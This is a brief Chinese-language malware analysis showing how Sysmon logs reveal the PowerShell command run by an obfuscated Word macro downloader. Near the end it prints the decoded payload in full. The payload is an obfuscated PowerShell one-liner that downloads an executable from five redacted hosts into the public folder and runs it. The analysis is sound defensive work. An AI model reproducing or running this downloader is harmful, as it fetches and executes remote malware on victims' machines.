使用Sysmon分析宏病毒（Macros Downloader）

样本为一个Word文件，Virustotal地址：

https://www.virustotal.com/#/file/f8aede78ad92bd28f5f699b677d7d5fd362c8be846d03f009e1f04a9c3d15101/detection

动态分析可以获取Callback Server地址，但不能确定是所有Callback Server。静态分析查看Macros代码时候，发现混淆比较复杂，很难拿到最终执行的明文Powershell代码。根据经验Macros经常要么执行CMD要么执行Powershell，Sysmon又可以记录命令执行及其参数。

Sysmon 默认安装

 sysmon -accepteula  –i -n

打开Doc文件，Enable Macros，执行宏，观察Sysmon日志，获得powershell命令：

Decode 获得明文代码，恶意文件为Downloader以及确定5个URL：

iex($nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 282133);$ADCX = '
https://<evil>/BaW2l63/@http://<evil>/8W0D/@http://<evil>/8Y5S9/@http://<evil>/0Z6zA5Y/@http://<evil>/7fGM/'.Split('@');$SDC = $env:public + '\' + $NSB + ('.ex'+'e');foreach($asfc in $ADCX){try{$YYU."Do`Wnl`OadFI`le"($asfc."ToStr`i`Ng"(), $SDC);&('Invo'+'k'+'e-Item')($SDC);break;}catch{}})

End